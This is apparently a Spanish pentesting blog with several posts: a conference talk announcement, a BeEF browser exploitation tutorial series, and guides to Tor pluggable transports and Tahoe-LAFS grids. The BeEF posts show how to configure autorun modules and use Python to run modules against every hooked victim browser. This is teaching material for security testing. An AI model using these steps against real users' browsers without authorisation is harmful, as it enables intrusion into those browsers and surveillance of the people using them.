DragonJAR Security Conference en Colombia.

agosto 19, 2015 3 comentarios

Hace algunos días recibí una muy agradable sorpresa, el equipo de DragonJAR ha valorado mi propuesta para asistir como ponente a la próxima edición de la DragonJAR Security Conference que se celebrará en Colombia en el mes de septiembre :-D.
En dicho evento, voy a impartir un taller sobre Python enfocado al pentesting, con un contenido muy similar al del RootedLab que he dado este mismo año en Madrid, pero con una diferencia importante: El tiempo. El taller de la Rooted duraba solamente 8 horas, con lo cual tuvimos que ir bastante rápido sobre los contenidos para poder abarcar todas las cosas interesantes que aporta Python a la hora de ejecutar procesos de pentesting, pero en este caso el taller durará 3 días (24 horas) en las que vamos a poder realizar muchas más practicas y demostraciones, además de explicar algunos detalles sobre el lenguaje que incluso se les escapa a programadores con conocimientos sobre Python.
Por otro lado, el día 18 de septiembre a las 14:00 dará comienzo mi charla sobre la “deep web” y anonimato con TOR. Es una charla en la que voy a hablar sobre lo que es la deep web y voy intentar desmitificar muchas de las ideas preconcebidas que he visto rondando en foros o incluso en comentarios en este blog. Será una charla en la que voy a invitar a los asistentes a reflexionar, a romper sus esquemas y la forma en la que ven la deep web y TOR (atentos los vendemo… emm, “analistas del big data” XD). Luego, me voy a centrar en explicar a grandes rasgos la arquitectura de TOR y cómo realizar pruebas de penetración básicas contra servicios ocultos en la deep web. Finalmente, voy a presentar la nueva versión de Tortazo con la que he estado trabajando los últimos meses con constancia e ilusión. Como vaís a poder ver, el enfoque que le he dado ahora es completamente distinto a la primera versión, será más “amigable” y enfocada a compartir información, además de que la podrá utilizar cualquiera con o sin conocimientos tecnicos, eso si, el “core” de Tortazo, es y seguira siendo igual, es decir, tienes que saber exactamente lo que estas haciendo para poder instalar y configurar la herramienta, no está enfocada a script kiddies ni es un metasploit framework que instalas y utilizas con dos comandos que te encuentras por Internet, tampoco es una herramienta pensada para ejecutarse en la plataforma concreta de tu ordenador, es muy probable que tengas que adaptarla para cumplir con tus necesidades concretas, en ese sentido no hay cambios. De todos modos, como podrán ver los asistentes, la nueva versión será un servicio web que se encontrará disponible en Internet en los próximos meses, con el que se podrá acceder a cientos de servicios ocultos en la deep web de TOR y realizar busquedas muy amplias contra la “onion land”, ya sea utilizando una aplicación web o directamente por medio de una arquitectura de servicios REST que se encontrará disponible para todos los usuarios…. creo que ya he dicho demasiado, si realmente te interesa, es mejor que asistas a la charla. :-)
Tengo muchas ganas de ir a conocer a grandes profesionales de la seguridad informática y estoy completamente dispuesto a aprender todo lo que pueda. Quiero volver a España con una bolsa llena de ideas listas para ponerlas en practica. ;-)
Por último, si llevas alguna de las copias del libro de Python para Pentesters o Hacking con Python, te puedo hacer una dedicatoria sin ningún problema, o si te quieres acercar para preguntarme algo o para conocerme allí estaré, no me voy a ir a ninguna parte y tampoco te voy a morder (bueno… ya si eso lo voy viendo) XD.
Nos vemos en Colombia!

Saludos y Happy Hack!
Adastra.

Categorías:Hacking

Pentesting automatizado con Beef. Consumiendo la API Rest de BeEF con Python – Parte 3

agosto 4, 2015 3 comentarios

La API Rest de BeEF cuenta con todo lo necesario para controlar y automatizar las actividades que se pueden llevar a cabo desde el C&C de BeEF. El hecho de poder invocar a los endpoints definidos en dicha API permite crear rutinas de código que ayuden a ejecutar los procesos de recolección de información y explotación de una forma mucho más rápida y eficiente. Tal como se ha enseñado en las dos entradas anteriores sobre BeEF, utilizar esta API no es nada complicado y solamente es necesario ejecutar las peticiones HTTP con los parámetros correctos. Para hacerlo, se puede utilizar herramientas como wget, curl o incluso netcat/socat y si se quiere automatizar el uso de estas herramientas, una buena forma de hacerlo consiste en crear un script en bash que que las ejecute. Evidentemente también es posible utilizar cualquier lenguaje de programación y ejecutar las peticiones HTTP de forma automatizada utilizando las diferentes librerías que proporcionan todos los lenguajes de programación modernos. Dicho esto, a continuación se explicará cómo invocar a algunos de los endpoints de BeEF utilizando Python y en el próximo artículo, lo mismo pero utilizando Ruby.

Consumiendo la API de BeEF con Python

Python cuenta con un considerable número de librerías para realizar peticiones HTTP, lo que facilita muchísimo las cosas a la hora de crear clientes o incluso servicios utilizando Python y este protocolo. Una de las más conocidas y utilizadas es “requests” ya que con muy pocas líneas de código se puede crear un cliente HTTP completamente funcional y soportando todas las características del protocolo HTTP 1.1, algo que en otras librerías como urllib, urllib2 o httplib requiere más líneas de código y un poco más de esfuerzo. Con esto en mente se podría crear un script utilizando requests para consumir la API Rest de BeEF, pero para facilitar aun más las cosas, existe una librería pequeña y simple llamada BeEF-API que ya se encarga de interactuar con los endpoints de BeEF y solamente es necesario invocar a los métodos adecuados de dicha librería. Se encuentra disponible en el siguiente repositorio de GitHub: https://github.com/byt3bl33d3r/BeEF-API y como ocurre con prácticamente todas las librerías en Python, para instalarla solamente hace falta ejecutar el script “setup.py” con el parámetro “install”.
Esta librería se encarga de gestionar la autenticación con BeEF y almacenar internamente el token generado, el cual como se ha visto en el primer artículo, es requerido para invocar algunos de los endpoints de la API Rest.

 

>python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from beefapi import BeefAPI
>>> beef = BeefAPI({})
>>> beef.login('beef', 'beef')
True

Como se puede apreciar, todo parte de la creación un objeto del tipo “BeefAPI”, cuyo constructor recibe como argumento un diccionario, el cual puede tener las claves “host” y “port” en el caso de que se quiera indicar una interfaz de red y puertos distintos a los valores por defecto (127.0.0.1:3000). Posteriormente se invoca al método “login” enviando como parámetros el usuario y la contraseña para autenticarse en el sistema.
Una vez el usuario se ha conseguido autenticar y se ha generado un token para la sesión actual, la librería dispone de una serie de métodos para invocar distintos endpoints, gestionando el token de autenticación de forma automática en cada una de dichas invocaciones. Algunos de los métodos disponibles en una instancia de la clase BeefAPI, permiten obtener los módulos disponibles en la instancia de Beef, buscar módulos que contengan una cadena determinada, listar todos los navegadores que han ejecutado el “hook” de Beef y que se encuentran “online”, así como aquellos que se encuentran “offline” y por supuesto, ejecutar módulos contra todos o solamente algunos de los navegadores enganchados. Esta librería utiliza internamente “requests” y los valores de retorno de cada petición siempre son diccionarios que representan las repuestas emitidas por cada uno de los endpoints invocados en formato JSON.

beefpython1Listando todos los módulos disponibles en BeEF

Como mencionaba antes, también es posible buscar módulos que cumplan con un patrón de texto determinado, pudiendo filtrar de esta forma aquellos módulos que sean de interés para el usuario.

beefpython2Filtrando módulos en BeEF

Del mismo modo que se pueden realizar búsquedas y listar los módulos disponibles en BeEF, también es posible hacer operaciones similares contra los navegadores que se encuentra online y offline.

beefpython3Listando navegadores hookeados

Y por último, pero no menos importante, es posible ejecutar un módulo determinado contra uno o varios navegadores que se encuentran “hookeados” en BeEF. Para hacerlo, en primer lugar hay que obtener el objeto correspondiente al navegador contra el que se desea ejecutar el módulo y en segundo lugar, se debe especificar el identificador del módulo que se desea utilizar contra el navegador. Cada objeto del tipo “Session” (navegador hookeado) tiene un método llamado “run” el cual recibe como argumento un valor númerico que representará el identificador de un módulo. Dicho método se encargará de buscar el módulo identificado con el valor especificado y posteriormente, se encargará de lanzarlo contra el navegador hookeado, algo que como se puede ver más abajo, se consigue con pocas lineas de código.

>>> for hook in beef.hooked_browsers.online:
...     commandId = hook.run(243)["command_id"]
...     print beef.modules.findbyid(243).results(hook.session, commandId)

En este caso, el módulo con el identificador “243” corresponde al módulo “Detect tor”, el cual como su nombre lo indica, intenta determinar si el navegador en cuestión está utilizando TOR para navegar. El método “run” es el encargado de ejecutar el módulo especificado y de retornar una estructura en formato “JSON” con un identificador del comando, el cual debe ser utilizado posteriormente para obtener los resultados que ha devuelto el módulo.

Como se ha podido ver, utilizar está librería no es complicado y es una buena forma automatizar las tareas que pueden llevarse a cabo desde la consola web de BeEF. En el próximo artículo hablaré sobre cómo hacer esto mismo con Ruby.

Saludos y Happy Hack!
Adastra.

Pluggable transports en TOR para la evasión de Deep Packet Inspection

julio 30, 2015 2 comentarios

Los puentes (bridges) son una de las formas más “tradicionales” de evadir la censura por parte de países y proveedores del servicio que intentan bloquear las autoridades de directorio y nodos de TOR. Se trata de un mecanismo que funciona bastante bien, ya que los puentes son direcciones que no se encuentran directamente relacionadas con TOR y aunque funcionan exactamente igual que cualquier repetidor, su información no se distribuye públicamente en ninguno de los descriptores emitidos por las autoridades de directorio. Aunque esta medida resulta bastante efectiva para evadir mecanismos de bloqueo simples basados en direcciones o dominios, en los últimos años se ha comenzado a ver que organismos censores implementan técnicas del tipo DPI (Deep Packet Inspection) para analizar el contenido de los paquetes en busca de cualquier indicio o patrón que les permita saber si el paquete en cuestión utiliza el protocolo de TOR. Evidentemente este tipo de técnicas suelen ser muy efectivas y permiten detectar y bloquear cualquier paquete de datos que utilice el protocolo de TOR.
Como siempre, nos encontramos en un constante “tira y afloje”, en el que los mecanismos de censura son mucho más complejos y efectivos, lo cual obliga a implementar técnicas de evasión que puedan ir un paso por delante. Dado que utilizar únicamente los bridges tradicionales ahora no es del todo efectivo (en algunos países), el equipo de TOR lleva unos años mejorando las técnicas de evasión y últimamente se ha venido hablando mucho sobre los Pluggable Transports (PT), cuyo principal objetivo es el de ofuscar el tráfico entre un origen y un bridge por medio de PTs. Dichos PTs se encargan de modificar los paquetes de datos para parezcan peticiones normales, ocultando cualquier indicio que permita descubrir de que se trata de un paquete de datos que hace parte de un flujo de TOR. La siguiente imagen simplifica el funcionamiento del sistema de PTs, el cual como se puede apreciar, no es demasiado complejo.

PTFuncionamiento de los Pluggable Transports en TOR

Pluggable Transports en TOR con Obsproxy

La especificación de “Pluggable Transports” está diseñada para que sea independiente de TOR u otras soluciones de anonimato e indica los pasos y directrices que debe seguir cualquier implementación de PTs. En el caso de TOR, existen varias implementaciones de PTs que se pueden utilizar, siendo Meek y ObsProxy las más soportadas y por supuesto, recomendadas.

Obsproxy es un framework escrito en Python que permite implementar PTs. Utiliza Twisted para todas las operaciones de red y la librería pyptlib la cual ha sido creada por el equipo de TOR específicamente para soportar las características de los PTs. Esta librería es especialmente interesante para aquellas aplicaciones que se encargan de transformar y ofuscar tráfico TCP y que requieren enviar dichos flujos de paquetes a un destino utilizando TOR.

Para utilizar Obsproxy en el lado del cliente (ver la imagen de arriba) se puede ejecutar TOR Browser Bundle, el cual contiene las implementaciones de los principales PTs soportados en TOR. En este caso concreto, Obsproxy y las otras implementaciones de PTs se encuentran incluidas en el directorio “<TOR_BROWSER/Browser/TorBrowser/Tor/PluggableTransports>”. Dichas implementaciones pueden utilizarse en modo cliente cuando se arranca Tor Browser y su configuración es prácticamente automática por medio de un asistente muy simple, el cual se inicia al abrir la configuración de Tor Browser.

pt1Configuración del cliente de TOR Browser

Como se puede apreciar, existen dos posibles escenarios, o bien el cliente se encuentra “censurado” y sus peticiones se encuentran filtradas por medio de un proxy o el cliente cuenta con una conexión directa a Internet, con lo cual no tendrá mayores inconvenientes a la hora de conectarse a la red de TOR. En el segundo caso, el asistente de Tor Browser le permite al cliente especificar cuál tipo de PT desea utilizar y a continuación, se encarga de configurar al instancia para que utilice el PT adecuado.

pt2Selección de un PT en Tor Browser

Después de seleccionar el tipo de PT la conexión a la red de TOR se hará por medio de los bridges que vienen por defecto en el Tor Browser y además, todas las peticiones se harán a un servidor OBSProxy por medio del cliente obfs3 local que se ha indicado. En el caso de que no sea posible realizar la conexión a la red de TOR utilizando los Bridges OBFS3 por defecto, Tor Browser indicará que hay un “censor” que se encuentra bloqueando las peticiones a dichas máquinas y en tal caso, se debe solicitar un conjunto de Bridges nuevo tal como se ha explicado en un artículo anterior.

El fichero “torrc” utilizado por Tor Browser habrá sufrido algunos cambios después de aplicar la configuración anterior y como se puede ver a continuación, dichos cambios incluyen el uso de Bridges OBFS3.

Bridge obfs3 169.229.59.74:31493 AF9F66B7B04F8FF6F32D455F05135250A16543C9Bridge obfs3 83.212.101.3:80 A09D536DD1752D542E1FBB3C9CE4449D51298239

Bridge obfs3 169.229.59.75:46328 AF9F66B7B04F8FF6F32D455F05135250A16543C9

Bridge obfs3 109.105.109.163:47779 4C331FA9B3D1D6D8FB0D8FBBF0C259C360D97E6A

Bridge obfs3 109.105.109.163:38980 1E05F577A0EC0213F971D81BF4D86A9E4E8229ED

DataDirectory /home/adastra/tor-browser_es-ES/Browser/TorBrowser/Data/Tor

GeoIPFile /home/adastra/tor-browser_es-ES/Browser/TorBrowser/Data/Tor/geoip

GeoIPv6File /home/adastra/tor-browser_es-ES/Browser/TorBrowser/Data/Tor/geoip6

UseBridges 1

Por otro lado, en el combo en el que se puede seleccionar un PT, también se puede ver “meek-amazon”, “meek-azure” y “meek-google”. Probablemente el lector se preguntará qué significa eso, pues bien, el PT Meek se basa en HTTPS y se encarga de modificar el tráfico de TOR para que las peticiones parezcan “inocentes” y en este caso concreto, “meek-amazon” se encarga de transformar las peticiones para que parezca que el usuario se encuentra interactuando con la plataforma de Amazon Web Services, “meek-azure” para que parezca que las peticiones se realizan contra la plataforma de servicios web de Microsoft Azure y finalmente “meek-google” modifica los paquetes de datos para que parezca que las peticiones realizadas por el cliente, son simplemente búsquedas en Google. Si bien es un PT muy interesante, actualmente hay varios detalles que se encuentran en estado de desarrollo y la cantidad de PTs del tipo servidor (puentes) es bastante pequeña, por ese motivo siempre se recomienda utilizar el PT de ObsProxy. Sobre Meek se hablará con mayor detalle en un próximo artículo y aunque aquí solamente se ha mencionado la configuración básica del lado del cliente para utilizar un PT con TOR, aun queda haciendo falta explicar la forma en la que se pueden crear Bridges PT que aporten a los usuarios de la red de TOR que se encuentran censurados, esto también lo explicaré en el próximo artículo.

Saludos y Happy Hack!
Adastra.

Pentesting automatizado con Beef. Características avanzadas – Parte 2

julio 28, 2015 Deja un comentario

En el artículo anterior hablaba sobre el proceso de instalación de BeEF y cómo invocar a algunos de los endpoints definidos en su API Rest utilizando cURL y en esta ocasión, voy a explicar cómo utilizar algunas características avanzadas del framework y en el próximo artículo, hablaré sobre cómo utilizar BeEF desde cualquier script en Python.

Ejecutar módulos de forma automática.

Si el panel de control central consigue que muchos usuarios ejecuten el hook en sus navegadores, será una labor bastante tediosa e ineficiente tener que ejecutar los módulos contra cada uno de los objetivos de forma manual. Afortunadamente, los módulos que se encuentran creados en BeEF y los que se pueden crear de forma independiente, deben incluir un fichero de configuración para controlar el comportamiento de dicho módulo, de esta forma, es posible marcar aquellos módulos que resulten interesantes para que se ejecuten de forma automática contra cada nueva víctima, ahorrando mucho tiempo y evitando la necesidad de estar permanentemente pendiente de que se conecten nuevas víctimas y lanzar manualmente los módulos necesarios.
Habilitar esta característica es muy sencillo, solamente hace falta editar el fichero de configuración maestro que se encuentra ubicado en “<BEEF_INSTALL>/config.yaml” y modificar la sección correspondiente a “autorun”

# Autorun modules as soon the browser is hooked.

# NOTE: only modules with target type ‘working’ or ‘user_notify’ can be run automatically.

autorun:

enable: true

allow_user_notify: true

El “autorun” se encuentra habilitado por defecto en el fichero de configuración maestro de la herramienta, sin embargo es necesario activar aquellos módulos que se desea ejecutar cuando se reciba un nuevo zombie, para ello es necesario editar el fichero de configuración “config.yaml” de cada uno de los módulos que se desee activar e incluir la flag “autorun: true”. Todos los módulos de la herramienta se encuentran disponibles en el directorio “<BEEF_INSTALL>/modules” y allí se podrán ver cada uno de los módulos disponibles desde el panel de control de la herramienta. Dentro de cada módulo existe un fichero de configuración llamado “config.yaml”, el cual típicamente contiene una única sección que es “beef” y con una única subsección llamada “module”, en ella se definen todos los detalles de configuración del módulo, incluyendo su nombre, categoría, si se encuentra habilitado o no, entre otros detalles. Este fichero sigue una sintaxis muy similar a los módulos que se encuentran disponibles en Metasploit Framework, ya que es completamente configurable e incluye detalles informativos sobre el funcionamiento del módulo. En este caso, para que un módulo cuyo atributo “target” sea “working” o “user_notify” se pueda lanzar de manera automática ante la conexión de un nuevo zombie, basta con establecer el atributo “autorun” con el valor “true”. El siguiente es un ejemplo del módulo “play_sound” que se encarga de lanzar un zumbido (un poco molesto) en la víctima conectada.

beef:

module:

Play_sound:

enable: true

category: “Browser”

name: “Play Sound”

description: “Play a sound on the hooked browser.”

authors: [“Saafan”]

autorun: true

target:

working: [“All”]

En este caso hay que tener en cuenta que esta característica lo que hace es lanzar todos los módulos que se han marcado con la flag “autorun” contra todas las víctimas que se van conectando, algo que no es deseado en todos los casos, ya que algunos módulos son específicos para un navegador concreto y a veces es mucho mejor poder crear una rutina que permita lanzar un módulo u otro dependiendo de las características del navegador de la víctima. Esto es justo lo que se podría hacer con la API Rest de BeEF y Python, como se verá más adelante.

Extensiones en BeEF

Además de los módulos que permiten ejecutar rutinas en el entorno de la víctima, otra característica muy interesante de BeEF es la posibilidad de ejecutar extensiones que permitirán activar ciertas características en el lado servidor de BeEF. Actualmente existen algunas muy interesantes que permiten integrar otras herramientas de pentesting habituales con BeEF, como es el caso de Metasploit Framework o SET. Para habilitar cualquier extensión disponible en la herramienta o una creada por terceros, se debe editar el fichero de configuración maestro (config.yaml) y habilitar todas las extensiones deseadas en la sección “extension” por ejemplo:

extension:

metasploit:

enable: false

console:

shell:

enable: true

En este caso solamente se habilitan las extensiones de metasploit y la shell de BeEF para trabajar con la herramienta desde línea de comandos en lugar de hacerlo desde la interfaz web.

Para utilizar la extensión de Metasploit, es necesario cargar el modulo “msgrpc” desde “msfconsole” o ejecutar la utilidad “msfrpcd” de Metasploit Framework. En cualquiera de los dos casos, se conseguirá levantar un servicio que permitirá la interacción de forma programática con Metasploit Framework con aplicaciones externas, como es el caso de BeEF.

La siguiente imagen enseña cómo se puede cargar el módulo “msgrpc” desde “msfconsole”

 msgrpcCargando el módulo msgrpc

Ahora que el fichero de configuración maestro ya se encuentra preparado para soportar al extensión de metasploit framework y el servicio MSGRPC se encuentra levantado, es el momento de configurar la extensión e indicar los detalles de conexión con el servidor. Para ello se debe editar el fichero de configuración de la extensión de metasploit, el cual se encuentra ubicado en la siguiente ruta “<BEFF_INSTALL>/extensions/metasploit”. Allí se deben incluir como mínimo, las propiedades que permiten establecer una conexión con el servicio MSGRPC.

Ahora, es el momento de arrancar BeEF y para ello, se puede utilizar la opción “-v” y ver el detalle de las operaciones realiza la herramienta. Como se puede ver en la siguiente imagen.

beefmsfConexión entre Beef y Metasploit

Después de esto, los módulos de metasploit framework quedarán registrados en el panel de control de BeEF como si se tratara de cualquier otro módulo de la herramienta. Evidentemente, algunos de dichos módulos requieren una preparación previa y establecer ciertos valores de configuración, pero desde BeEF se puede hacer utilizando un asistente muy simple.

beefmsf2Módulos de metasploit framework en BeEF

Otra extensión muy interesante es la extensión “console”, la cual permite sustituir el panel de control web por una interfaz por línea de comandos para controlar todos los zombies y realizar otras actividades, del mismo modo que se puede hacer con la utilidad msfconsole de metasploit framework. Para activar esta extensión, la cual viene desactivada por defecto, se debe editar el fichero de configuración principal (config.yaml) y en la sección de extensiones incluir lo siguiente:

console:

shell:

enable: false

Ahora, cuando se arranque la herramienta, en lugar de ver un mensaje indicando que se ha iniciado un servidor web para la gestión de los zombies, se podrá ver un interprete desde el cual se podrán ejecutar comandos.

beefconsoleConsola de BeEF

Desde esta consola se pueden ejecutar varios comandos, los cuales se pueden consultar con el comando “help”, dichos comandos permiten cumplir con exactamente las mismas funciones que se pueden llevar a cabo desde la interfaz web

beefconsole2Comandos disponibles en la consola de BeEF.

Existen otros módulos y extensiones que actualmente se encuentran en desarrollo y que probablemente estarán disponibles en los próximos meses, con lo cual se espera que poco a poco, su uso sea mucho más difundido y alcance los niveles de popularidad de otras herramientas de pentesting y hacking similares.

Saludos y Happy Hack!
Adastra.

Tahoe-LAFS. Creación y configuración de grids – Parte 2

julio 21, 2015 Deja un comentario

En el primer articulo he hablado sobre el funcionamiento de Tahoe-LAFS y los motivos por los que resulta mucho más interesante utilizar un sistema descentralizado de este tipo en la nube, que uno de los servicios convencionales con los problemas que implica. Tahoe es un sistema de almacenamiento distribuido que se puede montar en un segmento de red local o incluso directamente en Internet siendo muy fácil de configurar y bastante estable. Tal como explicaba en el primer artículo, los clientes de un “grid” pueden subir ficheros y directorios de forma privada y segura, ya que los servidores de almacenamiento del sistema no tienen la capacidad de leer y/o escribir sobre dichos ficheros, solamente se limitan a almacenarlos y compartirlos en el caso de que se encuentren configurados para hacerlo. En Tahoe es posible crear varios tipos de nodos que tienen un funcionamiento muy concreto, es así como se pueden crear nodos cliente, servidor, introducers, servidores de estadísticas y generadores de claves. Desde luego, los nodos cliente, servidor y los introducers son los más interesantes desde el punto de vista funcional, ya que permiten crear un grid sobre el que se pueden subir documentos.
En el primer artículo se explicaba en qué consistía Tahoe, cómo instalarlo y crear un cliente básico, el cual se conectaba a un grid por medio de un introducer que se encuentra disponible en el proyecto para que los usuarios interesados puedan llevar a cabo pruebas contra un sistema en funcionamiento. Dicho introducer se encuentra disponible en internet a cualquiera que desee conectar sus nodos clientes de Tahoe con el sistema de pruebas del proyecto, las instrucciones para conectarse a dicho servicio se encuentra detalladas en el siguiente enlace: https://tahoe-lafs.org/trac/tahoe-lafs/wiki/TestGrid.

Para realizar pruebas está bastante bien, sin embargo es mucho más interesante crear un grid propio y configurarlo de tal forma que sea posible utilizar Tahoe de forma privada y confidencial con otros usuarios en Internet. Para conseguir esto, es necesario crear en primer lugar un “introducer”, el cual como ya se ha explicado antes, es el encargado de conectar al cliente con el sistema de grid, el cual se compone de 1 o muchos servidores de almacenamiento. A continuación se explica el procedimiento para crear un introducer ejecutando la utilidad “tahoe”.

En primer lugar, es necesario crear un directorio en el que se deberán crear los ficheros de configuración del introducer, una vez creado dicho directorio, es necesario ubicarse en él y ejecutar el siguiente comando.

>tahoe create-introducer /adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducerIntroducer created in ‘/adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducer’

Después de crear el introducer, todos los ficheros y la configuración necesaria para que el nodo funcione correctamente, se habrá desplegado en el directorio especificado. En dicho directorio, se ha  tenido que crear un subdirectorio llamado “private” el cual contendrá un fichero con nombre “introducer.furl” el cual contiene la dirección del introducer que debe ser utilizada por otros usuarios para que puedan conectarse al sistema de grid.

A continuación, se puede iniciar el nodo ejecutando el comando “tahoe” con el argumento “start”

>tahoe start /adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducerSTARTING ‘/adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducer’

starting node in ‘/adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducer’

Ahora que el introducer se encuentra iniciado, es el momento de probar si su funcionamiento es correcto, para ello se debe utilizar un nodo cliente de Tahoe y conectarlo con el introducer. Esto ya se ha visto en el artículo anterior, así que partiendo del cliente creado en dicho artículo, basta simplemente con editar el fichero de configuración del nodo (tahoe.cfg) y modificar la propiedad “introducer.furl” que se encuentra en la sección “[client]”. El valor que debe asumir dicha propiedad debe ser el mismo que se ha generado a la hora de crear el introducer y que se encuentra contenido en el fichero “<INTRODUCER_DIR>/private/introducer.furl”.

Una vez el cliente apunta al introducer, se procede a arrancar.

>tahoe run ~/.tahoe/ STARTING ‘/home/adastra/.tahoe’

running node in ‘/home/adastra/.tahoe’

2015-06-28 21:38:53+0200 [-] Log opened.

2015-06-28 21:38:53+0200 [-] twistd 13.2.0 (/usr/bin/python 2.7.6) starting up.

2015-06-28 21:38:53+0200 [-] reactor class: twisted.internet.epollreactor.EPollReactor.

2015-06-28 21:38:53+0200 [-] Listener starting on 37384

2015-06-28 21:38:53+0200 [-] NevowSite starting on 3456

2015-06-28 21:38:53+0200 [-] Starting factory <nevow.appserver.NevowSite instance at 0x7f81a2bf2440>

2015-06-28 21:38:53+0200 [-] My pid: 11224

2015-06-28 21:38:53+0200 [-] DatagramProtocol starting on 38362

2015-06-28 21:38:53+0200 [-] Starting protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f81a2c03a28>

2015-06-28 21:38:53+0200 [-] (UDP Port 38362 Closed)

2015-06-28 21:38:53+0200 [-] Stopping protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f81a2c03a28>

Ahora que el cliente ha iniciado correctamente, se puede verificar si se encuentra conectado con el introducer creado previamente, para ello basta con ingresar a la consola web del nodo, la cual se encuentra levantada en el puerto 3456.

tahoeintroducer

Cliente de Tahoe conectado a un Introducer.

Finalmente, se puede detener el introducer ejecutando el comando “tahoe” con el argumento “stop”

>tahoe stop /adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducerSTOPPING ‘/adastraData/AdastraRealm/Hacking/networkHacking/allmydata-tahoe-1.10.1/AdastraIntroducer’

process 11081 is dead

Ahora bien, hasta este punto solamente se ha creado un introducer y se ha podido verificar que un cliente en Tahoe puede conectarse y subir/descargar documentos, sin embargo, tal como se podía apreciar en la imagen anterior, en el sistema de grid no existe ningún servidor de almacenamiento conectado, lo que significa que el sistema no funcionará correctamente cuando un cliente intente subir documentos.

Un sistema de grid no tiene ningún sentido si no existen uno o varios servidores de almacenamiento y para crear uno, nuevamente es necesario modificar el fichero de configuración de Tahoe e indicar que la instancia que utilice dicho fichero funcionará como un servidor de almacenamiento. Como se ha mencionado antes, los servidores de almacenamiento no tienen la capacidad de acceder a los ficheros que se suben a su espacio de almacenamiento, ya que se encuentran cifrados y solamente el cliente con la clave adecuada puede llegar a ellos. En este sentido, se trata de un “Data Store” cifrado, un concepto que es bastante utilizado en redes anónimas que siguen un modelo de compartición distribuido y privado, como es el caso de Freenet.

Para que una instancia de Tahoe pueda funcionar como un servidor de almacenamiento, se debe editar el fichero de configuración de dicha instancia (tahoe.cfg) y establecer las propiedades de dicho servidor en la sección “storage”, además, la propiedad “enabled” tiene que tener el valor “true” para que dicha instancia funcione como un servidor de almacenamiento.

[storage]# Shall this node provide storage service?

enabled = true

readonly = false

reserved_space = 1G

A continuación, dicha instancia de Tahoe debe vincularse con el introducer tal como se ha visto anteriormente, para ello se debe indicar el valor adecuado en la propiedad “introducer.furl”.

Finalmente, se ejecuta el servidor de almacenamiento como ocurre con cualquier instancia de Tahoe, utilizando el comando “run”

>tahoe run /server/tahoe/STARTING ‘/server/tahoe’

running node in ‘/server/.tahoe’

2015-07-12 19:52:55+0200 [-] Log opened.

2015-07-12 19:52:55+0200 [-] twistd 15.2.1 (/usr/bin/python 2.7.6) starting up.

2015-07-12 19:52:55+0200 [-] reactor class: twisted.internet.epollreactor.EPollReactor.

2015-07-12 19:52:55+0200 [-] Listener starting on 37384

2015-07-12 19:52:55+0200 [-] NevowSite starting on 3456

2015-07-12 19:52:55+0200 [-] Starting factory <nevow.appserver.NevowSite instance at 0x7f5e31f24cb0>

2015-07-12 19:52:55+0200 [-] My pid: 14783

2015-07-12 19:52:55+0200 [-] DatagramProtocol starting on 37926

2015-07-12 19:52:55+0200 [-] Starting protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f5e31ed04d0>

2015-07-12 19:52:55+0200 [-] (UDP Port 37926 Closed)

2015-07-12 19:52:55+0200 [-] Stopping protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f5e31ed04d0>

Ahora el servidor de almacenamiento se debe encontrar vinculado con el introducer y con esto será suficiente para que los clientes puedan subir ficheros en la nube.

tahoeserver

Registro del storage server

Como se puede apreciar, el sistema de grid ahora cuenta con un servidor de almacenamiento, sin embargo serán necesario más servidores para que se puedan subir documentos y ficheros sin dificultades, es decir, contar con una red real de servidores distribuidos para el almacenamiento de ficheros y documentos.

Saludos y Happy Hack!
Adastra.

Pentesting automatizado con Beef y su API Rest – Parte 1

julio 14, 2015 3 comentarios

Beef (The Browser Exploitation Framework) ha tenido una evolución bastante interesante en los últimos años y se han añadido mejoras que le convierten en una herramienta que se debe tener en cuenta a la hora de realizar pruebas de penetración u otras actividades relacionadas con el hacking. Se trata de un framework del que ya he hablado hace algún tiempo en varias entradas en las que comentaba cómo automatizar ataques XSS con Beef y cómo integrar Beef con Metasploit Framework. El proceso de instalación y otros detalles de la herramienta han cambiado un poco desde aquel entonces y por ese motivo, me he animado a escribir un parde artículos en los que voy a explicar cómo instalar la última versión de Beef, consumir la API Rest que se encuentra disponible en el Framework para automatizar tareas y otras características interesantes.

Instalando Beef

Beef se encuentra desarrollado en Ruby, con lo cual es necesario contar con el interprete de Ruby instalado en el sistema. En mi experiencia, suele ser un poco complicado trabajar con herramientas como Beef y Metasploit Framework cuando se utilizan diferentes versiones de Ruby, por ese motivo siempre es recomendable utilizar RVM (Ruby Version Manager) para poder activar y gestionar varias versiones de Ruby sobre el mismo sistema. Puedes echarle un vistazo al sitio web oficial del proyecto (https://rvm.io/) veras que te va a facilitar las cosas y te va a ahorrar mucho tiempo.

Dicho esto, el primer paso para instalar Beef consiste en descargar la última versión del proyecto que se encuentra disponible en su repositorio Github.

>git clone https://github.com/beefproject/beef.git beef-lastest

>cd beef-lastest
>gem install bundler

Fetching: bundler-1.10.5.gem (100%)

Successfully installed bundler-1.10.5

Parsing documentation for bundler-1.10.5

Installing ri documentation for bundler-1.10.5

Done installing documentation for bundler after 3 seconds

1 gem installed

>bundle install

>./beef

runningbeefEjecutando Beef

Si estas utilizando RVM, debes activar un entorno de Ruby que se encuentre instalado en RVM, para ello basta con ejecutar el siguiente comando

>source <HOME_USER>/.rvm/scripts/rvm

Como se puede apreciar, se han levantado algunos servicios y se ha vinculado el puerto 3000 para interactuar con el panel de control. Además, vemos que se ha generado una API Key para interactuar con los servicios Rest de la plataforma, esto será útil posteriormente para automatizar el uso de Beef. Por otro lado, cuando se intenta acceder a la página principal de Beef, se solicita un nombre de usuario y una contraseña, los cuales por defecto son “beef”/“beef”. Todos estos detalles se pueden cambiar muy fácilmente editando el fichero <BEEF_INSTALL>/config.yaml

Funcionamiento de Beef

